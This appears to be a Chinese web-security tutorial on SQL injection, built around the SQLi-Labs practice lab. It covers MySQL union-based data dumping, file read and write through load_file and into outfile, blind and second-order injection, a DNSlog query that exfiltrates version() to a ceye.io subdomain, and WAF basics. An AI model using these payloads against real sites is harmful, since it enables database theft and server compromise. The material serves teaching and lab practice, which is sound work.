《Web安全基础》03. SQL 注入

web

  • 1:简要 SQL 注入
  • 2:MySQL 注入
    • 2.1:信息获取
    • 2.2:跨库攻击
    • 2.3:文件读写
    • 2.4:常见防护
  • 3:注入方法
    • 3.1:类型方法明确
    • 3.2:盲注
    • 3.3:编码
    • 3.4:二次注入
    • 3.5:DNSlog 注入
    • 3.6:堆叠注入
  • 4:WAF 绕过
    • 4.1:WAF 简介
    • 4.2:绕过方法
  • 5:其他数据库注入
    • 5.1:Access
    • 5.2:Sql Server
    • 5.3:PostgreSQL
    • 5.4:Oracle
    • 5.5:MongoDB


本系列侧重方法论,各工具只是实现目标的载体。
命令与工具只做简单介绍,其使用另见《安全工具录》。

靶场使用 SQLi-Labs。详情参见《WriteUp:SQLi-Labs》

1:简要 SQL 注入

在这里插入图片描述

SQL 注入非常复杂,区分各种数据库类型,提交方法,数据类型等注入。此类漏洞是 WEB 安全中严重的漏洞,学习如何利用,挖掘,修复也很重要。

SQL 注入就是在数据交互中,前端数据传到后台时没有做严格的判断,导致传进来的数据被拼接到 sql 语句中,被当作 sql 语句的一部分进行执行,从而导致数据泄露、丢失甚至服务器瘫痪。

常见的 sql 注入产生原因:

  • 转义字符处理不合适
  • 不安全的数据库配置
  • 不合理的查询集处理
  • 不当的错误处理
  • 多个提交处理不当

注入判断:

1、逻辑值
and 1 = 1		页面正常
and 1 = 2		页面异常
则可能存在注入点2、order by
通过 order by 判断注入的字段数

2:MySQL 注入

在这里插入图片描述

SQL 注入思路都差不多,这里主要以 MySQL 为例。

2.1:信息获取

数据库版本:version()
数据库名字:database()
数据库用户:user()
操作系统:@@version_compile_os

在 mysql5.0 以上版本存在 information_schema 数据库,记录着所有的数据库,表名,列名。

information_schema.tables     # 记录所有的表名
information_schema.columns    # 记录所有的列名
table_name                    # 表名
column_name                   # 列名
table_schema                  # 数据库名

本节示例见 SQLi-Labs Less-1。

2.2:跨库攻击

常见的数据库与用户的对应关系:

数据库用户A - 数据库A - 网站A --> 表名 --> 列名 --> 数据
数据库用户B - 数据库B - 网站B --> 表名 --> 列名 --> 数据
数据库用户C - 数据库C - 网站C --> 表名 --> 列名 --> 数据

这样做的好处是一个用户对应一个库,网站之间的用户权限与数据互不干扰

这是最基础的数据库模型,现在大网站都是分布式数据库。

跨库查询的前提条件是必须高权限的用户才能执行跨库查询。

跨库攻击,以 Less-2 示例:

# 获取所有数据库名:
http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata# 获取指定 qqyw 数据库名下的表名信息:
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='qqyw'获取指定 qqyw 下的表名 admin 下的列名信息:
union select 1,group_concat(column_name),3 from information_schema.columns where table_name='admin' and table_schema='qqyw'获取指定 qqyw 下的 admin 数据
union select 1,u,p,4 from qqyw.admin

2.3:文件读写

获取的数据库权限会影响下一步测试思路。
高权限直接测试。
低权限就一步一步获取数据。

文件读写操作:

  • load_file():文件读取函数
  • into outfileinto dumpfile:文件写入、导出

获取路径的常见方法:报错显示、遗留文件、漏洞报错、平台配置文件、爆破等。

MySQL 查询是否有写入权限:
show global variables like '%secure_file_priv%';

读取本地文件示例:

http://127.0.0.1:8888/Less-2/?id=-1 union select 1,load_file('E:\\Software\\PhpStudy\\phpstudy_pro\\WWW\\sqli-labs-master\\sql-connections\\db-creds.inc'),3

本地文件写入示例:

http://127.0.0.1:8888/Less-2/?id=-1 union select 1, 'test' ,3 into outfile 'E:\\test.txt' --+

2.4:常见防护

魔术引号:magic_quotes_gpc

当 magic_quotes_gpc = On 时,输入数据中含单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符,都会加上转义符号(\)。

自定义防护:例如 PHP 中的判断输入是否是 int 型数据:is_int() 函数,这种就无法绕过。

3:注入方法

具体示例见 SQLi-Labs。

3.1:类型方法明确

在真实 SQL 注入安全测试中,一定要明确提交数据类型及提交方法后再进行注入。

明确参数类型:数字、字符、JSON 等。

明确接受的请求方法:GET、POST、COOKIE、REQUEST、HTTP 头等。

sql 语句干扰符号:'、"、、)、} 等,具体需看写法。

3.2:盲注

进行 SQL 注入时,有很多注入会出现无回显的情况,其中不回显的原因可能是 SQL 语句查询方式的问题导致,这个时候需要用到相关的报错或盲注进行后续操作。

手工注入时,提前了解或预知其 SQL 语句大概写法也能更好的选择对应的注入语句。

可以通过查询方式与 SQL 的关系注入点产生的地方猜测到 SQL 查询方式。

涉及的 SQL 语句:
select:查询数据,在网站应用中进行数据显示查询操作。
insert:插入数据,在网站应用中进行用户注册添加等操作。
delete:删除数据,后台管理里面删除文章删除用户等操作。
update:更新数据,会员或后台中心数据同步或缓存等操作。
order by:数据排序,一般结合表名或列名进行数据排序操作。

在注入过程中,获取的数据不能回显至前端页面。此时需要利用一些方法进行判断或者尝试,这个过程称之为盲注

盲注分为以下三类:

  • 基于布尔的 SQL 盲注:逻辑判断。
  • 基于时间的 SQL 盲注:延时判断。
  • 基于报错的 SQL 盲注:报错回显。

具体示例见 SQLi-Labs。

参考文章:
12种报错注入+万能语句
sql报错注入:extractvalue、updatexml报错原理
Order by排序注入方法小总结

3.3:编码

一些变量值在传递时会先编码或加密(如 base64 等)。这时手工注入就要先把传递值进行相应编码或加密。

例如 admin' and 1=1 base64 编码后的值是 YWRtaW4nIGFuZCAxPTE=

实际案例:SQLi-Labs-Less21:cookie&base64编码注入

一个简单的 base64 编码脚本:

<?php$url='http://xxxx/Less-1/index.php?id=;$payload=base64_encode($_GET['x']);$urls=$url.$payload;file_get_contents($urls);echo $urls;
?>

3.4:二次注入

在这里插入图片描述

二次注入一般用于白盒测试,黑盒测试就算找到注入点也没办法攻击。

以 SQLi-Labs-Less24 为例:注册 admin'# 这样一个用户。

在这里插入图片描述

此时修改 admin'# 用户的密码就能把 admin 用户的密码修改。

3.5:DNSlog 注入

DNSlog 盲注仅限于 windos 环境。能优化无回显问题。

相关资源:http://ceye.io

示例:

select * from users where id=1 and if((select load_file(concat('\\\\',(select version()),'.eii0i8.ceye.io\\abc'))),1,0);

参考文章:https://www.cnblogs.com/xhds/p/12322839.html

3.6:堆叠注入

在 MySQL 中,每一条语句结尾加【;】表示语句结束。

堆叠注入(stacked injection)就是多个语句连接到一起执行的注入。

应用场景:

  • 注入需要管理员帐号密码,密码是加密,无法解密
  • 堆叠注入时插入数据,用户密码自定义,可以正常解密登录

参考文章:堆叠注入详解

4:WAF 绕过

在攻防实战中,往往需要掌握一些特性,比如服务器、数据库、应用层、WAF 层等,以便灵活构造 Payload,从而和各种 WAF 进行对抗。

4.1:WAF 简介

简要来说,WAF 有以下功能:

  • 内容审计
    截获所有 HTTP 数据或不满足某些规则的会话

  • 访问控制
    控制对 Web 应用的访问,包括主动安全模式和被动安全模式

  • 架构 / 网络设计
    运行反向代理模式时,用来分配职能,集中控制,虚拟基础结构等

  • WEB 应用加固
    屏蔽 WEB 应用固有弱点,保护 WEB 应用编程错误导致的安全隐患。

WAF 的常见功能:

  • 异常检测协议:拒绝不符合 HTTP 标准的请求
  • 增强输入验证:代理和服务端的验证,而不只是限于客户端验证
  • 白名单&黑名单:白名单适用于稳定的 Web 应用,黑名单适合处理已知问题
  • 基于规则和异常的保护:基于规则,更多依赖黑名单机制;基于异常,更为灵活
  • 状态管理:进行重点会话保护
  • Cookies 保护
  • 抗入侵规避技术
  • 响应监视
  • 信息泄露保护

WAF 对扫描器防范手段:

  • 扫描器指纹:head字段、请求参数值等
  • 单 IP + cookie 某时间段内触发规则次数
  • 隐藏的链接标签等
  • Cookie 植入
  • 验证码验证
  • 单 IP 请求时间段内 WebServer 返回 http 404 状态比例:扫描器探测敏感目录基于字典,找不到文件则返回 404

4.2:绕过方法

在这里插入图片描述

参考文章:
SQL注入-WAF绕过
sqlmap超详细笔记+思维导图

5:其他数据库注入

在这里插入图片描述

5.1:Access

Access,关系型数据库。

Access 数据库比较特别,都是存放在网站目录下,后缀格式为 mdb,常搭配脚本
aspasa,可以通过一些暴库手段、目录猜解等直接下载数据库。

结构:

Access -> 表名 -> 列名 -> 数据

注入方式:
union 注入、http header 注入、偏移注入等。

Access 偏移注入:解决列名获取不到的情况。
查看登陆框源代码的表单值或观察 URL 特征等,也可以针对表或列获取不到的情况。

参考文章:Access偏移注入与原理

5.2:Sql Server

Microsoft SQL Server,也叫 MSSQL,关系型数据库。

注入方式和 MySQL 没什么两样。

参考文章:MSSQL注入

5.3:PostgreSQL

PostgreSQL,关系型数据库。

参考文章:PostGresql 注入知识汇总

5.4:Oracle

Oracle,关系型数据库。

参考文章:【实战】Oracle注入总结

5.5:MongoDB

MongoDB 是一个基于分布式文件存储的数据库,属于非关系型数据库

  • 介于关系数据库和非关系数据库之间的产品,是非关系数据库当中功能最丰富,最像关系数据库的。
  • 数据传输采用 JSON 传输。
  • tojson 函数可以输出 json 数据。

一个针对 MongoDB 注入的工具:NoSQLAttack


淡云孤雁远,寒日暮天红。

——《临江仙》(五代)徐昌图

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/75362.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

W5100S-EVB-PICO做DNS Client进行域名解析(四)

前言 在上一章节中我们用W5100S-EVB-PICO通过dhcp获取ip地址&#xff08;网关&#xff0c;子网掩码&#xff0c;dns服务器&#xff09;等信息&#xff0c;给我们的开发板配置网络信息&#xff0c;成功的接入网络中&#xff0c;那么本章将教大家如何让我们的开发板进行DNS域名解…

【分布式能源选址与定容】光伏、储能双层优化配置接入配电网研究(Matlab代码实现)

目录 &#x1f4a5;1 概述 &#x1f4da;2 运行结果 &#x1f389;3 参考文献 &#x1f308;4 Matlab代码、数据、讲解 &#x1f4a5;1 概述 由于能源的日益匮乏&#xff0c;电力需求的不断增长等&#xff0c;配电网中分布式能源渗透率不断提高&#xff0c;且逐渐向主动配电网方…

自监督去噪:Noise2Self原理分析及实现 (Pytorch)

文章地址:https://arxiv.org/abs/1901.11365 代码地址: https://github.com/czbiohub-sf/noise2self 要点   Noise2Self方法不需要信号先验信息、噪声估计信息和干净的训练数据。唯一的假设就是噪声在测量的不同维度上表现出的统计独立性&#xff0c;而真实信号表现出一定的…

MATLAB /Simulink 快速开发STM32(使用st官方工具 STM32-MAT/TARGET),以及开发过程

配置好环境以后就是开发&#xff1a; stm32cube配置芯片&#xff0c;打开matlab添加ioc文件&#xff0c;写处理逻辑&#xff0c;生成代码&#xff0c;下载到板子中去。 配置需要注意事项&#xff1a; STM32CUBEMAX6.5.0 MABLAB2022BkeilV5.2 Matlab生成的代码CTRLB 其中关键的…

ClickHouse的安装启动

安装步骤 1.关闭防火墙 2.修改资源限制配置文件 2.1 路径&#xff1a;/etc/security/limits.conf 在末尾添加&#xff1a; * soft nofile 65536 #任何用户可以打开的最大的文件描述符数量&#xff0c;默认1024 这里的设置会限制tcp连接数 * hard nofile 65536 * soft nproc…

逃离城市热浪,寻觅25℃的夏天

“入伏”后&#xff0c;夏日里的热浪撩动着我们那颗躁动自由的心&#xff0c;趁着暑假走出巨大的城市“蒸笼”吧&#xff0c;甩掉高温和闷热&#xff0c;寻找避暑纳凉的最佳旅行地&#xff0c;感受不一样的夏日清凉感~ 在酷暑中&#xff0c;隐藏着很多不为人知的清凉打卡胜地&…

信必优行业服务能力-中国头部综合性证券公司

近期召开的国家高层会议提出 “要活跃资本市场&#xff0c;提振投资者信心”&#xff0c;明确了下一阶段资本市场发展新任务、新要求&#xff0c;资本市场有望呈现新气象、新风貌。各证券公司积极响应&#xff0c;全力推进资本市场回暖&#xff1b;同时各公司也借此东风修炼内功…

(7.28-8.3)【大数据新闻速递】《数字孪生工业软件白皮书》、《中国绿色算力发展研究报告》发布;华为ChatGPT要来了

【数字孪生工业软件白皮书&#xff08;2023&#xff09;】 近日&#xff0c;第七届数字孪生与智能制造服务学术会议成功举行&#xff0c;2023《数字孪生工业软件白皮书》在会上正式发布。《白皮书》在《Digital Twin》国际期刊专家顾问委员会指导下&#xff0c;由国家重点研发计…

<C语言> 预处理和宏

1.预定义符号 __FILE__ //进行编译的源文件 __LINE__ //文件当前的行号 __DATE__ //文件被编译的日期 __TIME__ //文件被编译的时间 __STDC__ //如果编译器遵循ANSI C&#xff0c;其值为1&#xff0c;否则未定义这些预定义符号都是C语言内置的。 举个例子&…

selenium 截屏

当前环境&#xff1a; Windows 10 Python 3.7 selenium 3.141.0 Google Chrome 115.0.5790.110 &#xff08;64 位&#xff09; from selenium import webdriver import base64if __name__ __main__:#driver webdriver.Chrome()driver.get(https://www.baidu.com/)# 1.…

M5ATOMS3基础04给ROS2发一个问候(micro-ROS)

参考以往部分历程&#xff1a; 1. esp32与ros2的欢乐启程 2021 2. micro-ROS之esp32与ros2资料&#xff08;freertos&#xff09; 2021 3. esp32发布机器人电池电压到ros2&#xff08;micro-rosCoCube&#xff09; 2022 4. CoCube和Micro-ROS简单案例演示 2022 不需要僵化的…

JavaScript数据结构与算法-初始栈结构

文章目录 一、初始栈结构1.1 特性1.2 注意事项 二、栈结构的封装2.1 封装简单栈结构2.2 利用栈将十进制转二进制 一、初始栈结构 1.1 特性 类似于汉诺塔&#xff0c;后进先出&#xff0c;每次只能操作栈顶的元素。关键词&#xff1a;压栈、退栈 简单示意图&#xff1a; 1.…

windows下tomcat无故宕机,检测http或https服务,并自动重启Tomcat服务

一、问题描述及解决原理 把项目发布到windows服务器中&#xff0c;如tomcat工程不稳定&#xff0c;会有无故宕机的问题。如果通过程序无法解决&#xff0c;并且重启tomcat服务能够生效的话&#xff0c;可以做一个自动检测并重启的脚本。 脚本通过检测tomcat对应的工程链接&…

Flask学习笔记_异步论坛(四)

Flask学习笔记_异步论坛&#xff08;四&#xff09; 1.配置和数据库链接1.exts.py里面实例化sqlalchemy数据库2.config.py配置app和数据库信息3.app.py导入exts和config并初始化到app上 2.创建用户模型并映射到数据库1.models/auth.py创建用户模型2.app.py导入模型并用flask-mi…

RabbitMQ 教程 | 第4章 RabbitMQ 进阶

&#x1f468;&#x1f3fb;‍&#x1f4bb; 热爱摄影的程序员 &#x1f468;&#x1f3fb;‍&#x1f3a8; 喜欢编码的设计师 &#x1f9d5;&#x1f3fb; 擅长设计的剪辑师 &#x1f9d1;&#x1f3fb;‍&#x1f3eb; 一位高冷无情的编码爱好者 大家好&#xff0c;我是 DevO…

HCIA云计算 V5.0题库

云计算&#xff0c;这是近几年听得最多词了&#xff0c;云计算对于网络的发展帮助非常大&#xff0c;它自身所产生的价值是不可估量的&#xff01;所以云计算的岗位对于很多IT公司来说&#xff0c;都是有一定地位的。华为认证云计算面向的对象很简单就是对云计算技术感兴趣的人…

【Spring】(四)Bean 的作用域和生命周期

文章目录 前言一、Bean 的作用域1.1 被修改的 Bean 案例1.2 作用域的定义1.3 Bean 的六种作用域1.4 Bean 作用域的设置 二、Spring 的执行流程 和 Bean 的生命周期2.1 Spring 的执行流程2.2 Bean 的生命周期2.3 Bean 生命周期的演示 前言 Bean 是 Spring 框架中的一个核心概念…

iphone内存不足导致白苹果?可以使用这2种办法解决!

因为iPhone内存不足没及时清理导致打开任何软件闪退&#xff0c;这时很多小伙伴会重启手机来解决闪退问题&#xff0c;但就会出现白苹果问题&#xff0c;无法正常进入手机系统、实现任何操作的一种状态。 内存不足导致iPhone白苹果的问题很常见&#xff0c;可以说是苹果最常见…

排序进行曲-v4.0

文章目录 小程一言快速排序步骤详细解释具体步骤 举例总结 复杂度分析时间复杂度分析&#xff1a;空间复杂度分析&#xff1a;注意 应用场景总结 实际举例结果总结 代码实现结果解释 小程一言 这篇文章是在排序进行曲3.0之后的续讲&#xff0c; 这篇文章主要是对快速排序进行细…

nodejs中的path.json和path.resolve的区别

nodejs中的path.json和path.resolve的区别 我们有多少次在 Node.js 项目中遇到过path.join()和path.resolve()却没有真正理解它们之间的区别&#xff1f;本文就讲解一下这两者的区别。 重要术语 首先我们先来看看几个术语&#xff0c;便于后续我们掌握这两者的差异。 字符串…